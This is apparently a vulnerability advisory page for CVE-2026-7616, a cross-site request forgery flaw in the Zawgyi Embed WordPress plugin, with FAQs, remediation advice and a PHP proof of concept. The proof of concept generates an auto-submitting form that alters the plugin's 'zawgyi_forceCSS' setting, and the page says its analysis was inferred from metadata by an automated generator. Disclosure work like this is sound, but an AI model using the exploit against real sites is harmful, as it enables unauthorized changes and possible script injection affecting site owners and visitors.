What is CVE-2026-7616?

CVE-2026-7616 is a Cross-Site Request Forgery (CSRF) vulnerability in the Zawgyi Embed plugin for WordPress, affecting versions up to and including 2.1.1. It allows unauthenticated attackers to modify the plugin’s settings by tricking an authenticated administrator into submitting a forged request.

How does the vulnerability work?

The vulnerability arises from missing nonce validation in the zawgyi_adminpage function. An attacker can create a malicious page that submits a POST request to change the zawgyi_forceCSS setting when an administrator visits the page, without any authentication checks.

Who is affected by this vulnerability?

All users of the Zawgyi Embed plugin for WordPress who are running versions 2.1.1 or earlier are affected. If your site uses this plugin, it is important to check your version and apply necessary updates.

How can I check if I am using a vulnerable version?

To check if you are using a vulnerable version of the Zawgyi Embed plugin, navigate to your WordPress admin dashboard, go to the Plugins section, and look for the Zawgyi Embed plugin. The version number will be listed next to the plugin name.

What steps should I take to fix this vulnerability?

To fix CVE-2026-7616, update the Zawgyi Embed plugin to the latest version that addresses this vulnerability. Additionally, developers should implement nonce validation in the plugin’s settings form to prevent CSRF attacks.

What does the CVSS score of 4.3 mean?

A CVSS score of 4.3 indicates a medium severity level for this vulnerability. In practical terms, it means that while the vulnerability is not critical, it can still be exploited with moderate effort and may lead to significant issues if not addressed.

What is nonce validation and why is it important?

Nonce validation is a security measure in WordPress that ensures requests are legitimate and originate from authenticated users. It helps prevent CSRF attacks by requiring a unique token for each request, which the server verifies before processing any changes.

What could happen if this vulnerability is exploited?

If exploited, an attacker could change the zawgyi_forceCSS setting to inject malicious CSS into the site. This could lead to persistent Cross-Site Scripting (XSS) attacks, site defacement, or other client-side attacks against visitors.

How does the proof of concept demonstrate the vulnerability?

The proof of concept shows how an attacker can create a self-submitting HTML form that targets the vulnerable settings page. When an authenticated administrator visits the page, the form automatically submits a request to change the zawgyi_forceCSS setting without their consent.

What best practices should I follow to secure my WordPress site?

To secure your WordPress site, regularly update all plugins and themes, implement strong authentication measures, use security plugins, and regularly back up your site. Additionally, always validate and sanitize user inputs to protect against various types of attacks.

Is there a way to mitigate the risk if I cannot update immediately?

If immediate updates are not possible, consider disabling the Zawgyi Embed plugin until a fix is applied. Additionally, educate your administrators about the risks of clicking unknown links and monitor your site for unusual activity.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : May 11, 2026

CVE-2026-7616: Zawgyi Embed <= 2.1.1 – Cross-Site Request Forgery via 'zawgyi_forceCSS' Parameter (zawgyi-embed)

CVE ID CVE-2026-7616

Plugin zawgyi-embed

Severity Medium (CVSS 4.3)

CWE 352

Vulnerable Version 2.1.1

Patched Version —

Disclosed May 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7616 (metadata-based): This vulnerability is a Cross-Site Request Forgery (CSRF) in the Zawgyi Embed plugin for WordPress, affecting versions up to and including 2.1.1. The plugin’s zawgyi_adminpage function lacks proper nonce validation on a POST request to options-general.php?page=zawgyi_embed, allowing an unauthenticated attacker to change the zawgyi_forceCSS setting. The CVSS score is 4.3 (Medium).

Root Cause: The vulnerability arises from missing or incorrect nonce validation on the zawgyi_adminpage function. This is inferred from the CWE classification (CWE-352) and the CVE description. Nonces in WordPress protect against CSRF by ensuring that requests originate from the intended user. Without this check, the plugin accepts any POST request to the settings page, treating the request as authorized. No code diff is available, so this conclusion is based on the vulnerability metadata.

Exploitation: An attacker crafts a malicious HTML page that, when visited by an authenticated WordPress administrator, automatically submits a POST request to the target site’s options-general.php?page=zawgyi_embed. The request includes the parameter zawgyi_forceCSS with a value (e.g., ‘1’ or a CSS URL) the attacker chooses. Because no nonce is required, the server accepts the fake request and updates the plugin’s setting. The attack is social engineering: the attacker must trick the admin into clicking a link or loading the crafted page.

Remediation: The fix requires adding nonce validation in the zawgyi_adminpage function. Developers should implement a WordPress nonce field using wp_nonce_field() in the settings form and verify the nonce with check_admin_referer() or wp_verify_nonce() before processing the POST data. This follows standard WordPress plugin security practices and would block unauthorized CSRF attacks.

Impact: Successful exploitation lets an attacker modify the zawgyi_forceCSS setting without authentication. This could force a malicious CSS payload into the site’s output, causing persistent Cross-Site Scripting (XSS) if the CSS is not sanitized. An attacker could deface the site, inject malicious styles, or perform other client-side attacks against site visitors. The impact is limited to the integrity of the plugin’s settings, but combined with other vulnerabilities, could lead to more serious consequences.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7616 - Zawgyi Embed <= 2.1.1 - Cross-Site Request Forgery via 'zawgyi_forceCSS' Parameter

/**
 * This script demonstrates a CSRF attack that changes the zawgyi_forceCSS setting.
 * Assumes: Target WordPress admin is logged in and will trigger the exploit.
 * The payload is a self-submitting HTML form that a victim admin must visit.
 */

// Target configuration
$target_url = 'http://example.com/wp-admin/options-general.php?page=zawgyi_embed';

// Generate a malicious HTML page
$html = <<<HTML
<!DOCTYPE html>
<html>
<body>
<h1>Click this link to continue...</h1>
<form id="csrf_form" action="$target_url" method="POST">
  <input type="hidden" name="zawgyi_forceCSS" value="body { background: red; }">
  <input type="submit" value="Click here">
</form>
<script>
// Auto-submit form to trigger CSRF without user action
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
HTML;

// Output or save the HTML file
file_put_contents('exploit.html', $html);
echo "[+] Exploit page generated: exploit.htmln";
echo "[+] Send this page to a logged-in WordPress admin to trigger the CSRF.n";
?>

Frequently Asked Questions

What is CVE-2026-7616?
Overview of the vulnerability
CVE-2026-7616 is a Cross-Site Request Forgery (CSRF) vulnerability in the Zawgyi Embed plugin for WordPress, affecting versions up to and including 2.1.1. It allows unauthenticated attackers to modify the plugin’s settings by tricking an authenticated administrator into submitting a forged request.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from missing nonce validation in the zawgyi_adminpage function. An attacker can create a malicious page that submits a POST request to change the zawgyi_forceCSS setting when an administrator visits the page, without any authentication checks.
Who is affected by this vulnerability?
Identifying at-risk users
All users of the Zawgyi Embed plugin for WordPress who are running versions 2.1.1 or earlier are affected. If your site uses this plugin, it is important to check your version and apply necessary updates.
How can I check if I am using a vulnerable version?
Version verification process
To check if you are using a vulnerable version of the Zawgyi Embed plugin, navigate to your WordPress admin dashboard, go to the Plugins section, and look for the Zawgyi Embed plugin. The version number will be listed next to the plugin name.
What steps should I take to fix this vulnerability?
Remediation measures
To fix CVE-2026-7616, update the Zawgyi Embed plugin to the latest version that addresses this vulnerability. Additionally, developers should implement nonce validation in the plugin’s settings form to prevent CSRF attacks.
What does the CVSS score of 4.3 mean?
Understanding severity levels
A CVSS score of 4.3 indicates a medium severity level for this vulnerability. In practical terms, it means that while the vulnerability is not critical, it can still be exploited with moderate effort and may lead to significant issues if not addressed.
What is nonce validation and why is it important?
Role of nonces in security
Nonce validation is a security measure in WordPress that ensures requests are legitimate and originate from authenticated users. It helps prevent CSRF attacks by requiring a unique token for each request, which the server verifies before processing any changes.
What could happen if this vulnerability is exploited?
Potential impact of exploitation
If exploited, an attacker could change the zawgyi_forceCSS setting to inject malicious CSS into the site. This could lead to persistent Cross-Site Scripting (XSS) attacks, site defacement, or other client-side attacks against visitors.
How does the proof of concept demonstrate the vulnerability?
Understanding the demonstration code
The proof of concept shows how an attacker can create a self-submitting HTML form that targets the vulnerable settings page. When an authenticated administrator visits the page, the form automatically submits a request to change the zawgyi_forceCSS setting without their consent.
What best practices should I follow to secure my WordPress site?
General security recommendations
To secure your WordPress site, regularly update all plugins and themes, implement strong authentication measures, use security plugins, and regularly back up your site. Additionally, always validate and sanitize user inputs to protect against various types of attacks.
Is there a way to mitigate the risk if I cannot update immediately?
Temporary risk reduction strategies
If immediate updates are not possible, consider disabling the Zawgyi Embed plugin until a fix is applied. Additionally, educate your administrators about the risks of clicking unknown links and monitor your site for unusual activity.

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